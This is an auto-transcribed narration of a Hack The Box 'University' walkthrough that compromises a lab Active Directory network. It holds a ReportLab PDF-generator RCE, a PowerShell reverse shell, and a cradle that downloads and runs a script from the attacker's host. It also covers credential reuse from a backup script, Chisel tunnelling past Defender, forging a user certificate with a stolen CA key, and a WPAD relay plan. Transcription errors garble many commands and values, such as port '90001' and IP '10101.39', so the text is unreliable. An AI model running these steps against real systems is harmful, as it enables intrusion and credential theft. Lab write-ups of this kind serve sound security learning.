What's going on, YouTube? This is IPSC, and we'll be doing University from Hack the Box, or I guess I should say attempt university because a lot went wrong when recording this video. I debated on redoing it, but I figured I just roll with it in case any of the troubleshooting or pain is helpful to you. Anyways, the main difficulty with this box comes from one step that is really hard to spot. Once you get a shell on the domain by exploiting a PDF generator, you find a set of credentials that lets you log into two other VMs, a Linux host and a Windows host. The Windows host is trusted to delegate and has unconstrained delegation and we are root on the Linux box. Because both of these host on the same broadcast domain, we can perform a man-in-the-middle attack. And when the Windows workstation looks for WPAD, the Windows proxy auto

HackTheBox - University


detection over IPv6, we insert ourselves into that conversation and use NLM relay to open up an attack path that lets us impersonate administrator to the Windows VM. With that admin access, we can gain access to other Kubros tickets that grant us the ability to read GMSA passwords, the group manage service account, which leads to an account that can impersonate users to the domain. So, with that being said, let's jump in. As always, we're going to start off with an end map. So, - SC for default scripts, SV enumerate versions, - VV for double boost. This gives us things like the TTL OA output all formats put in the end map directory and call it university. And then the IP address of 10101.39. This can take some time to run, so I've already ran it. Looking at the results, we have 13 ports open. The first one

HackTheBox - University


being DNS on port 53. And the banner tells us it's simple DNS plus. So, we know this is going to be most likely Windows Active Directory. We can scroll down when we see that DNS banner and see yes, there is a LDAP domain and it's university.htb. We also see a HTTP server on port 80 and it's redirecting us to university.htb HTTP and it is running engine X which is a little bit odd. Normally I don't see engine X on Windows but let's go ahead and start adding things to our host file because we have a um domain. So I'm going to go ahead and copy this and then let's do pseudo v etsy host and we can say 1010 1139. We have university.htb and then let's see where is going to be the computer name. Um I don't think we actually see the computer name. We just see university.htb university.htb I'm not seeing anything that would indicate the computer. Um we

HackTheBox - University


also have kerros on port 88. It is giving us the time um RPC ports. L adapt is going to be active directory. SMB and that looks about it. Looking at the host scripts we see there is a clock skew. So, if we want to do anything Kerros related, we probably should make sure we do a NTP date to sync the time, which we'll do a little bit later. Um, I never get the actual um name. Maybe it's right here, the service info host DC.

HackTheBox - University


This could just be um the host name, but it could also just be saying this is a domain controller. Uh, to be sure, I'm just going to run net exec. So, we'll do net exec SMB and then 10 10 1139.

HackTheBox - University


And this should go ahead and tell us what the host name is. So it is DC, right? So let's go ahead and also add that to our host file. So we'll do um DC and DC University.htb.

HackTheBox - University


Save this. And then I'm going to go ahead and just take a look at the website because we did have port 80 open and it's running engine X which I do think is weird. It is a TTL of 127. So it's most likely running Engine X on Windows. If the TTL was, let's say, 62, I would think there's going to be some type of routing going on and it's pushing this to a different host, right? Because on Linux, the default TTL is 64.

HackTheBox - University


And if we have to go through the Windows box to get to Linux, then that's an extra hop. So, you decrement by one, 63 to get to Windows, then 62 to get back to um Linux. So, let's just go ahead and try this. So, I'm going to do HTTP University.htb and we'll see what um comes back. My burp suite I think is set to intercept. So let's turn that off. And we get a page. So taking a look at this. Um my first thought is it's engine X. Um maybe it's a PHP website. We get not found. Um we could go over to like Walizer and see what it says. And it is going to tell us this is going to be a Django website, which is a little bit odd. I've not really come across Django running on a Windows host. Normally that's going to be a Linux. So, I'm just going to double check the TTL real quick just to make sure um it looks like it's Windows, right? Because if we ever find a exploit, we definitely want to know what

HackTheBox - University


the um host OS is so we know what type of commands to run, right? So, never hurts to just double check. So, we'll do pseudo TCV dump on ton zero. Do-v.

HackTheBox - University


And now I can do a curl university.htv. And we can see where is the TTL 64. This is me making a request to the box. We can see um 101048 to university, right?

HackTheBox - University


So we want one where university starts. And this TTL is 127. Um we just sent a bunch more packets, but uh we can do this again. And we see TTL 127 um here. So it is looking like it is running Django on Windows which is just a little bit odd but I guess not impossible. Taking a look at this website it looks like it is going to be a university website and it is like a single page. As I scroll down things um change the highlighting here, right?

HackTheBox - University


Um if we go to like browse courses it wants us to input a username and password or we can log in with a signed certificate. Um if we go to register, we can register a student account or professor account. If we go with a professor account, I'll do professor. Um root professor at ipsack.rocks.

HackTheBox - University


Password of password. Uh password's too common. Password one.

HackTheBox - University


If I typed that correctly, register.

HackTheBox - University


It looks like we've registered. Um we do professor IP or did I do the other one?

HackTheBox - University


Uh okay professor IP we have sorry this account is not activated and can't be authenticated. So it looks like with a professor account um we will have to find a way to activate it right and that's what this note is saying after creating your professor account your account will be inactive until your team reviews your account details and contacts you by email to activate your account. So, um, right now I'm thinking we'll have to do some type of cross-sight scripting attack in order to do like cross-sight request forgery in order to activate our professor account to become a professor. But not positive. That's just kind of what I'm thinking about after seeing that note. So, let's go over and register a student. So, we'll just do rootsc.rocks rocks and we'll do the same password register uh login

HackTheBox - University


and we get logged in as a student. So let's see we have a profile here. Uh we could test for like cross-ite scripting. So if we do BIP slashB um submit, uh we have to do all this details.

HackTheBox - University


There we go. Let's see. Um we do have the um rich text editor showing this in bold, but I don't really see that much. So if someone clicks on our link or our account, we'd be able to potentially get code execution, right? So, I'm going to do image source is equal to http 101048 port 8000 test.png. And all I'm going to do with this is save it. And then we'll just leave it running and um see if anyone ever hits it. Right. So, Python 3 m http server submit.

HackTheBox - University


Uh, it just went away. Okay. So, I wonder if that is like filtering something. Um or I did something incorrectly, but let's just see what else there is. So, if we go to uh course list, looks like we have some courses. If we go to enroll, uh we have lectures. So, if we go introduction, looks like a PowerPoint.

HackTheBox - University


Um really not much here, right? Uh, this one has a zip we can download. Lecture two. I'm going to see what's in that zip.

HackTheBox - University


Uh, downloads lecture 2 7Z X lecture 2. We go in this archive and it looks like we have a few um shortcuts, right? We have an internet shortcut and it's telling us the URL here um a document. There's really not that much. So, let's see what else is there. Um if we go back to home or maybe we want to go back to our profile, let's see. request signed certificate. So it looks like we can generate a certificate signed request with this. And what I want to do actually let's go back to the course list. We have a professor here, professor Nia, right? Um this is going to be Nia laura crawfs.com.

HackTheBox - University


So when I create this um certificate signing request, I want to put this user's information, right? So I'm just going to rename these files so um makes more sense to me. We have nia.key nia.csr which is certificate signing request. Uh we need to enter a password.

HackTheBox - University


I'm just going to do password for the phrase country code state. This stuff probably does not matter. What matters probably is going to be the common name.

HackTheBox - University


And I'm going to use the username here which is nia. And then the email address. We'll use niacrofts.com. Uh challenge password. We don't need that. There we go. So now we have a certificate signing request. So let's go ahead and upload this and see if the server will um send us anything back.

HackTheBox - University


Right. So we'll do htb uh this box is university nia.csr send it. Submit.

HackTheBox - University


And CSR information does not match the database records. So it doesn't look like we can make a certificate from a another user. Um so let's see what else we can do here.

HackTheBox - University


If we go uh we also have a profile export. So if I click on profile export, we have profile- six. So let's do move downloads. Uh profile. Was it a lowercase B? It was profile-6 PDF. We look at this PDF in XIF tool. It's something I highly recommend doing whenever you get PDFs because generally it tells you how it's created, right? We have XHTML to PDF and of we also looked at the hex data of this PDF. We would see it's um report lab generated PDF document. And back when we did a box called solar lab, we had exploited this. Um, so let's see if it is vulnerable. So let's go and Google um what is it? Report lab exploit um xhtml2 pdf. Let's just add all these details in and see if anything comes back. We have a report lab rce from 2023. And if we scroll down, um, we'll eventually get to the proof of concept. Um, looks like it is right here. And

HackTheBox - University


definitely use this one. Um, there is a difference. So, if we look at this, um, we have three of these brackets. I'm going to go look at the code real quick. I've already copied that to my clipboard. Um, let's just put it in a file called payload, um, here. So, we have it. If I go to the actual Python and then we try to take it out of this, um, it's slightly different and I think it causes issues, right? We only have two of those brackets. You see? Um, so I think that's actually going to cause an issue. So definitely grab it out of the readme if you're doing this repo. Um, because that's the one I find definitely works, right? So now what we want to do is send a ping command. And I want to say on Windows it's ping- c for account. Um, so we can do 10 1048. Um, I'm actually going to do n. Um, this is going to fail most likely, right? Uh,

HackTheBox - University


because n I think is how you do it in Linux. Let's do n1 10 1048. Um, maybe it's just C as well because that just did three. Okay, let's do C. We'll do C1. Save that. The reason why I want to make sure I limit this is because on Linux the default behavior is to ping indefinitely. So if I just do this, right, it's never going to stop. So if this um HTTP thread doesn't die out, then the server is constantly going to be pinging me, and that's not a good thing. So that's why I always like limiting my pings. So we have that. We can save it. Let's do a pseudo TCP dump- I ton zero. We'll disable DNS with N and then filter for ICMP.

HackTheBox - University


Okay, let's cat the payload. We can now grab this.

HackTheBox - University


And what I want to do is go back to my profile. We'll put this in the rich text editor.

HackTheBox - University


Paste it. And now when XML h uh XHTML to PDF is called, it's going to use that malicious um HTML and hopefully we get to code execution. So I'm going to do profile export. And do we see any hits?

HackTheBox - University


We don't. Um that could just be Windows is using -ash N1 for the count and we did C1. So let's just go ahead and remove that real quick. So like that because the - C on Windows could have caused some type of error that caused us not to ping. Um and Windows the default is to only ping four times. So I don't really have to limit it there. So we've just kind of ruled out that this is Linux, right? So let's go ahead and paste this exploit in. And we're going to really hope this works because if it doesn't, I don't know what I screwed up, right? So we're exporting. And there we We have some pings. 10 10 11 39 is pinging me. So yes, on Windows I think it is -ash N to put the count as one. In Linux it's C. But um we have four pings now. And uh we have code execution. So let's go ahead and um copy Nang. So, I'm

HackTheBox - University


gonna do CP um user share nang and let's do shells invoke powershell TCP one line ps1 uh to just dubdubdub shell.ps1.

HackTheBox - University


Okay. And let's see. Delete. Delete.

HackTheBox - University


That is good. Now let's do 10 10 148 on port 90001.

HackTheBox - University


And let's see. I'm just going to um see if we can execute it straight.

HackTheBox - University


Normally I put it on a web server in case defender is there, but let's just try this real quick. So we'll do UTF16 little Indian base 64 W. Um, yeah, that should be fine.

HackTheBox - University


And what we want to do, let's go back to the payload.

HackTheBox - University


And let's see, we'll do PowerShell C for encoded command. And we'll do this. Um, I wonder if we have to do like no profile and all those things. Um, let's just save this first and we'll see if it works. So, a cat payload.

HackTheBox - University


Grab this new thing with a reverse shell. NC LVNP 90001.

HackTheBox - University


Let's paste this in. Submit.

HackTheBox - University


Um, I'm actually going to do RL wrap. So, I have my like up and down keys for command history. Export this profile. And it does not look like we get a shell. So, this could be defender. It could be um our PowerShell command is wrong. There's a lot of things that could have gone wrong there. Um, so let's now go back to dubdubdub and do vc cradleex new object net.eclient download string http 101048000 shell.ps1. I think I've typed that correctly.

HackTheBox - University


Uh, let's see. cat cradle I convert UTF-16 little Indian because that's how Windows likes it.

HackTheBox - University


This is a bit smaller so we can copy this. Uh we can kill that TCP dump.

HackTheBox - University


Let's try this.

HackTheBox - University


Oh, I wonder if it was that plus that broke it. I don't have a plus in this payload, but there was a plus there. And I could definitely see that being translated to a space, not a um what is it normally? Uh space instead of the plus. So that's probably where we went wrong. OVNP 90001.

HackTheBox - University


So, let's see. Paste this in. Submit. And that's why like in previous videos, you normally see me trying to get it just to be pure alpha numeric, getting rid of all the symbols, because that really can screw things up. Um, does not look like we are getting any hits though. Let's see.

HackTheBox - University


Um the payload I wonder if we're in PowerShell. Hold on.

HackTheBox - University


Let's just do curl http 1010148 8000 shell.ps1 and then we will execute it.

HackTheBox - University


Let's try this curl http 101048 8000.

HackTheBox - University


That should be fine. Uh, we have to cat this real quick then. Let's go back.

HackTheBox - University


Save this. Export.

HackTheBox - University


There we go. We have a hit and a shell. So, I'm not sure what was being broken in our previous PowerShells. Um, let's see. Is it revshells.net or something?

HackTheBox - University


Revshell.net. Reverse shell.

HackTheBox - University


revshells.com. That's what I was looking for. Let's see. Let's get some other PowerShell flags. Let's see. Where is that running?

HackTheBox - University


No profile. That's probably what I want.

HackTheBox - University


We'll do all these. So, let's go back to my payload.

HackTheBox - University


Um, I'm actually going to payload.1.

HackTheBox - University


I'm just curious if this will work.

HackTheBox - University


So, we want to do PowerShell no profile. This dash encoded command this.

HackTheBox - University


Okay.

HackTheBox - University


And then we'll run this. And if this doesn't work, we'll just chalk it up to I'm doing something wrong or for some reason this doesn't work. And we won't dive too deep into it. But these are things I like just playing with as I do it because um it's always nice to know how things fail.

HackTheBox - University


Let's see. Does not look like we're getting a hit. It is definitely thinking.

HackTheBox - University


Got the payload. No hit. So, I'm really not sure why that doesn't work. Maybe in the comment someone will s figure it out and tell me, but until then, this payload works where we download it to a file and then execute it. It's always nice to have a bunch of um ideas of how to do um code execution, like a bunch of just gadgets or whatever you want to call them.

HackTheBox - University


So, save this export shell. There we go. But yeah, anyways, that's why when confirming remote code execution, I always like starting out with a simple payload like a ping or a sleep. Verify it works, then try the more complex things like a reverse shell that can fail a lot of different ways because if you don't know you have remote code execution, you won't know how to tweak your reverse shell um or when to stop tweaking it when you just give up and it doesn't work, right? But now that we have a shell on the web server, I always like going ahead and grabbing the database. And if I was on Linux, I just run like SQLite 3 and dump this database this way. But since I'm on Windows, it's a little bit more challenging. I also can't just easily copy and paste in B 64. So I'm going to go ahead and start up a SMB server. So

HackTheBox - University


we can do SMB server.py. And then I'll do um I'll call it share.

HackTheBox - University


We'll mount it from the current working directory. The username is going to be IPSAC and the password is going to be IPSAC. And I have to run this with pseudo because it's a privilege port. And it's probably going to be like impact- SMB server on parrot. There we go. And now we have to um mount it. So we could do net use 10148 uh slashshare user ipsacks like that. Uh, maybe it's slashu. Oh, wait. I'm doing net user. It's net use. There we go. It looks like we have an incoming connection. I think it mounted.

HackTheBox - University


So, let's now um copy DBS SQLite 3 104 8 share. And did that copy? It looks like it may have. And I realize I just did something really bad, I think. Um, nope. I think I put it in dubdubdub. Uh, no.

HackTheBox - University


Did it not copy? I don't think it did. Um, we should always be in dubdubdub when we start a like server or create a directory SMB, right? Um, I did not do that. But it did not copy, right?

HackTheBox - University


Let's see. DBS SQL 83.

HackTheBox - University


Let's go dubdubdub. I don't see it.

HackTheBox - University


Where's a net use? Let's try slashu.

HackTheBox - University


Does not look like it's wanting to copy. Um, oh, I probably forgot. Dash SMB2 support.

HackTheBox - University


Let's try this. There we go. The net use command looks like it worked. That's what I expected to see. Um, we authenticated successfully. So, I'm guessing before um because we didn't support SMB2, it was just getting denied. But that looks much better. So, we can now copy this.

HackTheBox - University


That's taking a reasonable amount of time now to copy. So, that was the issue. We just weren't doing SMB2 support. And now we have the database file. So we can do SQLite 3 db SQLite and then if we do like that tables we can see everything right. So we can select star from Django session.

HackTheBox - University


Um I forgot from like that and let's see uh we can see this is going to probably be the expiration time and all these are expired 2024. This is probably our session. So we don't see any active Django sessions. So, I'm not going to bother trying to steal these sessions because I think that is um expired, right? Let's see. Is it schema?

HackTheBox - University


Yes. So, we have session key, session data, expired date. So, yeah, all these sessions are expired. No point in trying them. Um, we could also dump the users.

HackTheBox - University


Uh so we could do like select star from uh what is it probably university of this?

HackTheBox - University


That's not it. Uh let's see where would passwords be? Custom user.

HackTheBox - University


Maybe this. Uh, yeah, this is probably it. Uh, so we have Nia Laura Croft right here and her password hash. Um, it actually doesn't crack, so I'm not going to bother trying to crack these. But we do have a list of all the users here. Um, there's not really any useful information in this uh database. So, let's go back to our shell and then see what else is on this server. Right. Uh, we have the CA. So, we could also download all these files.

HackTheBox - University


Um, and the reason why I'd be downloading this, remember we had a way to log in with a certificate. So, if I have the root CA, then we can just log in. Oh, we can sign our own certificates, right? So, we could now log in with the professor, but right now, um, doesn't really help us. So, I'm not going to do anything with it other than copy it, right? Uh, we also want to grab the key. There we go. Let's see what else is on this server.

HackTheBox - University


And I say it doesn't really help us signing in as the professor because uh we have access to database. We're on the server. I don't know what um else we could do right now. So let's see if we do a who am I/all. Um I'm looking at privileges to see if we had se impersonate. We don't. So not much there. If we do cd dot there is a db backups. So if we go into this directory, we have a PowerShell script. So we can look at this. So if we do type uh we have it creating a backup and then we have a password here. If we do who am I? We are W AO. I don't know who what user this is. Uh but we have web AO. So maybe that is web AO. So we have a potential credential for this. Uh we could try it out. So, let's try nxc SMB1010 11. Oh, let's just do university.htb because I forgot the IP address. Um, u wao-p.

HackTheBox - University


You can put this password in. And let's see, it does work. So, we have WA's um credential.

HackTheBox - University


Uh we could try downloading all the backups. Uh let's see if we did like uh what is it? Is it get file hash start.zip.

HackTheBox - University


We see every backup is going to be the same. So we just really could download one and try to unzip it, but I don't think the password actually works. So I don't know what we'd um gain from it. Let's just try it real quick. Um copy this. Uh what is it? 10 10 148 share.

HackTheBox - University


So when this is done copying, we can try to extract it to see if we have any other credentials. Maybe they had like a weaker hash or something like that, right? Um 7zx db.

HackTheBox - University


Uh yes, enter the password. The password should be this, but it errors. So apparently that is not the password even though the script is saying it is. So um I'm not sure what's going on there, but we do have credentials to this box, right? So we can easily run rust hound. We could also just copy um sharpound the.net and run it from a reverse shell, but let's just run rustound uh from this box. And before we do that, I want to generate the kob 5 file. So let's see dash8 grap carob let's do dash this car kob5.com because um I don't think we need to do this but I think Rusttown does like having uh the kerros configuration in place. So, let's just copy it over top. And now let's do uh Rusttown domain university.htb user wa password. Uh where is that password?

HackTheBox - University


We have it right here.

HackTheBox - University


Copy. Paste. And it is going to start copying it. We could have also um done a password spray, right? If we did like get ad user-filter star, um this will get every active directory user on the box. Then we can do like select SAM account name and then we could copy this list to a box, run net exec and use that um password, do a password spread across all users to also see um it only works for this one user. But now that we have Blood Hound data created, let's go ahead and go cdop blood hound server docker compose up-d and I will want to connect to blood hound. So I'm going to turn burpuite off real quick. Uh let's close um a bunch of tabs.

HackTheBox - University


There we go. Localhost 888 I think is why I have Blood Hound. It may not be running yet. We're waiting on the graph DB to start.

HackTheBox - University


There we go. Let's log in. And then we'll want to upload all of Rusttown files. Let's see where did it save to.

HackTheBox - University


Was I in dubdubdub? Actually, I was.

HackTheBox - University


So, let's go to where is administration?

HackTheBox - University


upload files. Copy these.

HackTheBox - University


Upload. And it's going to start ingesting. And then once it's finished ingesting, we can start taking a look at it. So, I'm just going to pause the video here and we'll resume when it is done ingesting because it can take probably like six a minute or two. Okay, we're done ingesting. So, let's go ahead and go to explore and then let's find our user WAO. And we can just mark them as owned real quick. So, I'm going to rightclick um add to owned. And then also, if we scroll down, we don't have any outbound object control. So, it doesn't look like there's much we can do from this user, right? So, I'm just going to do cipher. Let's do shortest path from owned principles.

HackTheBox - University


So we can do this run and it doesn't look like we have anything. So let's just look at other queries we have. Um let's see what is up top. Locations of high value.

HackTheBox - University


Can see what's here. Um this query does not look like it's telling us too much. We have administrators here. Uh DC, not too much there. Uh let's see.

HackTheBox - University


DC sync privilege.

HackTheBox - University


That's not getting anything. That's odd. Let's see. Karostable users. Let's see this. Uh we have one. We have GMSAP client01. So that is a coarosable user.

HackTheBox - University


It ends in this dollar. So I know that's going to be a um random password. So, I'm not going to bother um trying to crack this hash just because um you normally can't crack any password that ends uh with accounts that end in dollar. Uh let's see what else is there here. Shortest path uh from systems with unconstrained delegation. So, let's look at this. And this is actually showing something interesting.

HackTheBox - University


It shows workstation 3 has unconstrained delegation. So, um, what this means is any ticket on this box, we'll be able to essentially just forward it over to another box. So, this is a very high value target here. So, we can add this to high value. One of the common things people would do or used to do would be they'd find systems with um unconstrained delegation, get on them, and then use an attack like printerbug or petite pumm to trick the domain controller's machine account into authenticating against it. And then when they do that then they'll be able to forward the um domain controller's kerros ticket somewhere else and then do a DC sync or something like that. Right? So these are very high value targets with unconstrained delegation. Um also interesting we have a different box on this like WS3. If I go back to my reverse shell if we do IP config

HackTheBox - University


uh we have two network interfaces. We have 1926899.1 and then the external one of 1010 1139.

HackTheBox - University


So there's probably going to be VMs running here. If we ping WS-3, let's see, maybe have to do like the fully qualified name. Oh no, there we go. We have that as 19216899.2.

HackTheBox - University


So let's see if there's any other boxes on this um subnet. And the easiest way to do that would be uh just to go in the blood hound data the computers and look. So what I'm going to do is uh we'll cat the computers.json and let's do jq dot and what do we want to get um less so properties. So we want to go data properties probably name right. So let's do jQ and then data properties name.

HackTheBox - University


There we go. Dash R for raw. And now we have a list of all the computers. So I'm just going to do computers.ext. And then we can do for in catcomp computers.ext echo. I make sure I've done this correctly. Uh, we forgot the do. There we go. So now I'm just going to do a dig to look up the IP address if it exists. Right. So we'll do dig specify the server. So DC.htb um then we want to do what is it? I know all answer. There we go. So we have uh the DC 99.1 WS399.2 uh we have setup machine which is 1010 104. Um I want to say we should have got lab. I don't know why we didn't. Let's see if we go back here. Can we ping lab- two? Does this work?

HackTheBox - University


Maybe it doesn't. Oh, there we go. We have uh 16819.12.

HackTheBox - University


I wonder if um let's see. V, what' I call it? Computers.

HackTheBox - University


Wonder if this needed all fully qualified domain names. University.htb.

HackTheBox - University


Let's just try this. Okay. So yeah, if we had everything as fully qualified, then that would have worked. Um, we could have also probably done like a get computer, right? What is it? Get 80 computer filter star.

HackTheBox - University


Awesome. Let's see. And we can select DNS host name. And there should be a IP address, right?

HackTheBox - University


192. Let's see. Let's do dash properties start.

HackTheBox - University


That's going to get me more than the default properties. There we go. IPv4 address. So, we could have also done something like this instead of doing the DNS. Uh, filter select.

HackTheBox - University


Forget what it was. It was probably like DNS host name. Um, maybe name.

HackTheBox - University


Let's see. Yeah, name. and then IPv4 address.

HackTheBox - University


Uh we have to do properties like that. And we can also get all the IPs this way, right? Instead of doing it through um DNS and dig, just do it um this way, right? So we have workstation 3 and lab 2. So two IP addresses here.

HackTheBox - University


Let's look at what lab 2 looks like. So, if I do a search lab 2, click this. Let's see. It's a computer.

HackTheBox - University


Not too much information here. The interesting thing, we have operating system and it's PC- Linux. So, lab 2 is a Linux machine potentially. Um, doesn't have any outbound control or anything. But let's go ahead and upload Chisel to this box so we can start hitting these servers, right? Um, if we ping 192168 999.12. Let's see. Does this tell me the TTL? It probably does, right? Yeah, the TTL of 64. So, we know this is a Linux machine. Um, because the Windows, if we do ping.2, this would be a TTL of 128, right? So, uh, let's go ahead and upload Chisel. Um, and I think we also have probably if we look at WA or groups, let's see, let's see what groups we're a member of. Oh, remote management. So, we could use WinRM as well. So, we don't have to do things in this reverse shell anymore. We could just go ahead and um

HackTheBox - University


use a uh what is it? Eva Winterm.

HackTheBox - University


I'm trying to find the password though. I should have saved the password. I can't remember where I have it. Um, Rust Hound. Let's go ahead and grab this. So, bcreds.ext wa. Just save that. So, we have it. And let's now evil win rm u wao p that in univers htb and I'm going to name this dc. Okay.

HackTheBox - University


Now let's copy chisel. So I'm going to cp chisel chisel.exe. exe here and I'm going to go into program data and then I'm going to use the upload command from EVO winrm and we can um upload chisel. So we can do chisel.exe here. And it looks like it is going to be uploading. Hopefully it's not uploading to the file period. Um that is weird. Let's just call it C.EXE and we'll see if this works. Um, it is uploading. Um, sometimes EVO1 does take a little while to upload. We got the progress right there. So, it looks like it is working. Um, that is really slow. I'm going to give it another second. If not, then I'm just going to pause the video and we'll resume when it's done. Um, normally it doesn't take this long. I wonder if I should have just copied it over with um curl or SMB.

HackTheBox - University


Um we did have the SMB server up, right? So we could go cd program data. Uh copy 10 10148 share chisel.exe. Um I'll do chis.exe I guess like here. Uh, it looks like it is copying. I think that's going to be much quicker because that is going really slow.

HackTheBox - University


Um, this is going slow, too. I don't know what is going on. Um, how big is Chisel? DHS 9 megs. It shouldn't take that long.

HackTheBox - University


Um, evil win rm. I'm trying to get the username and password. Let's just go ahead and copy this cd program data diir. And let's see.

HackTheBox - University


Looks like the server is just going slow. Um, that may be it, right?

HackTheBox - University


Being used by another process. So, I think it's still copying. Um, that's definitely going much quicker than the other two. But this box is still just going slow.

HackTheBox - University


Um, looks like that may have finished.

HackTheBox - University


And it was removed.

HackTheBox - University


Did defend is defender blocking this? We have a reverse shell like just native power shell and did not have an issue.

HackTheBox - University


So I have a hard time believing defender is blocking anything or defender's even on I should say.

HackTheBox - University


Um, I'm just going to pause the video and I'm going to resume when this copy is done. Um, maybe me trying to access it while it copied caused some type of issue. Okay, the copy is done. So, let's go back here. Do a diir. And it's not there.

HackTheBox - University


I bet this is defender. Actually, that's bizarre. Uh, can I just do 10 1048 chisel exe client 10148 8000R socks and I'm going to start up a chisel server op chisel chisel um server port 801 reverse and this should be 801. Will this work?

HackTheBox - University


Uh, not found. Chisel.exe.

HackTheBox - University


It's there. C H I S E L.

HackTheBox - University


Uh, I think I deleted share.

HackTheBox - University


There we go. um defender normally won't scan like network um items. So that's why I did this. However, it being nine megs um executing this may take a while and not work well. Um I could have swore when I did this box before I didn't have any issues with defender. I'm not sure what is going on here.

HackTheBox - University


Um, I'm going to give the video another pause and we're going to see if I get a connection on my Chisel server in the next minute or two, but um, something definitely odd is going on. So, it's probably been like 5 minutes and it's still not done copying here and um, this thing isn't working. I've just executed over the UNC share. So, I'm going to uh, try something else. So, let's just do Chisel GitHub. I'm going to download the latest copy of Chisel and then hope Defender is just not flagging that because I'm really assuming this is a Defender issue since um when I copy the file it just disappears, right? So, we can just download the latest copy. Hopefully, the signature won't be there and then have it work this way. If this doesn't work, then I'm probably going to revert the box and try it again because something odd could be going on, but I doubt it.

HackTheBox - University


Uh let's see. I'm going to download Linux AMD 64. That is good.

HackTheBox - University


Uh let's see. Where is Windows ARM? I don't want that. Uh let's see.

HackTheBox - University


AMD 64 for Windows. Okay.

HackTheBox - University


And then I'm going to use the HTTP server one uh CP or let's just move uh downloads chisel Linux and then we want Windows as well.

HackTheBox - University


Uh gunzip-g on both of them.

HackTheBox - University


Okay, let's just move chisel there. And we'll rename this to chisel.exe.

HackTheBox - University


Like that. And that probably just screwed up one of both my copies actually. Um I can kill that. And we will kill this. Um because I just realized after renaming it like I copied over top of it, right? Um looks like we have a pain here. Let's just do curl http 101048 8000 chisel.exe um proxy.exe.

HackTheBox - University


Uh we have to start up the web server.

HackTheBox - University


Where is it? There we go.

HackTheBox - University


Save it. It's taking its time. We definitely made that request and it is zero bytes.

HackTheBox - University


So, I think it's copying. It's just not copying quickly, which makes me worried.

HackTheBox - University


Um, wonder if there is a smaller copy of Chisel.

HackTheBox - University


Doesn't look like it. Well, these only three megs. Oh, these are compressed.

HackTheBox - University


Why is this taking so long?

HackTheBox - University


I think I'm going to revert this box and hope something odd is just going on.

HackTheBox - University


Um, wait.

HackTheBox - University


We had a connection back. I wonder if this is from this. It had to be. Um, hold on. Proxy chains.

HackTheBox - University


NXC SMB uh was it 192 168 9992.

HackTheBox - University


Is the proxy still up? It is. So I think we're accessing it over um SMB did work this command, right? Um it just took a while for it to get into memory and then run. Uh so yeah um that seems to work. The curl should work. I'm not sure why. So hopefully um yours just magically works, but if not, this had to have because I didn't run the chisel client from any like um command line, right? I only ran the com um chisel client from this UNC path. So that works. We'll hope it doesn't crash while we're um working on it because that was a pain to get the shell up, right? So let's see. uh we have that and then also the Linux box was.12 right so let's try our credentials on both of these so I'm going to do proxy chains nx uh we'll just do ssh ssh wao at 1921689912 catreds and we can grab this paste it

HackTheBox - University


there we go so this is going to be lab And then let's try our credentials on the other one. WA at 192.

HackTheBox - University


Um, this is actually proxy chains evil winrm i uh 192 16892 u wao-pot m. There we go.

HackTheBox - University


Okay. So, what box is this? This is WS3, right?

HackTheBox - University


And you actually never need to get on to this box. Um, this does speed things up and we're going to go over that. But if we were just on lab 2, if we SSH in here and we did a pseudo-L and put our password in, do I still have that on my clipboard? Um, I don't think I do. Yeah, I did.

HackTheBox - University


Um, hold on. There we go. We can do a pseudo su and we're root on this box, right? If I do a IPA, um, we're now on the 192 1689 broadcast range, right? Or the broadcast domain. And if we looked back at Blood Hound, this WS3 box um over here had unconstrained delegation, right? This allows unconstrained delegation is set to true. So if we can have this box make a request, um we can become the WS3 computer object, right? And if we can do that, then we can um give permissions to another computer object to allow us to act on behalf of that and then sign a ticket to become administrator on this workstation. Um so what we want to do is a TCP dump. So we can do TCP dump- I E0. I'm going to also add the dash N so we don't have DNS. And uh we'll do port 222 so we ignore SSH traffic. And we're going to see a lot of traffic just from our box itself. Right? This is going to be uh 12 failing ICMP. What we're

HackTheBox - University


looking really for is any um connections from either like the domain controller or the um workstation 3 box. Um and it's actually going to happen over IPv6. So I'm going to cheat a little bit and just going to do IP6 so we don't have a bunch of these um MP. There's also going to be a bunch of NTP traffic and other things that just um create noise.

HackTheBox - University


But if we ran this and waited probably 15 to 20 minutes, we would see workstation 3 um request WPAD and that's like the Windows proxy auto detection and we can actually man in the middle that connection and then become the WS3 computer object. So, if we just were patient and waited 15 to 20 minutes, um, we could exploit it from here. But if we're not patient, we want to be able to get a interactive shell on this box, right? Because if I just do task list, um, it's actually going to fail because we're a remote connection and we don't have a lot of good privileges to this box. The reason why we want to have a interactive connection is that will enable us to um tell Windows to check for activation or check for updates, use those COM objects and force that um connection, right? And if I do get process, I want to say this is it. Maybe it's get process list. Nope, get

HackTheBox - University


process. Um we can look at the processes and we see there is a interactive process to explore. So we know um someone is logged into this box. I don't think we can um I think it's include username or include user or something.

HackTheBox - University


It requires elevated user rights. So we can't find out who is logged in. Um another one would be like query session. Um I think all these fail. So we can't find out who's logged in but we know someone is logged into this box. And this is where we have to think way back and that's where the box becomes heard if you're just not patient waiting for this connection. Um, and if we looked at the lectures, right, one of these lectures had URLs that people clicked, right? So if we become the professor and make a um new lecture, we can potentially put something malicious here that they click on and then we get a shell, right? So, let's go ahead and revisit that. And if we go all the way back, um, we have to go to where we can like request a signed certificate. And remember, we couldn't, um, upload and

HackTheBox - University


become NIA because it didn't match our account, right? But we did download all of the, um, certificate authority stuff, right? So if I go into dubdubdubdub, we do have the root caert and key. So we don't need to use um the website to sign anything because we can just sign it. So I'm just going to copy that stuff to my um working directory. And it doesn't take long to generate a new one. So for that sake, let's just um regenerate this. In case you didn't watch the beginning of the video where we created this, right? We're going to create the certificate signing request like this. And then if we go find the professor, we could also look at like the um SQL database we downloaded. But all we want to do is look at the username and email. We could put the other information um in it, right? Like the country name. It could do UK cuz we know um that's where it is. Uh maybe London or something.

HackTheBox - University


This stuff doesn't matter. Uh what matters probably is going to be the common name which is the name of the user and then the email and the PEM passphrase. I just type password. It doesn't matter. That's going to be the password the key is encrypted with. But there we go. We now have a certificate signing request for NIA. So what we want to do is use open SSL and sign this. So we'll do dash request and then in niacertificate signing request and then we're going to specify our CA file of root CAert and then the CA key file of root CA. And then we'll give it nia.pm.

HackTheBox - University


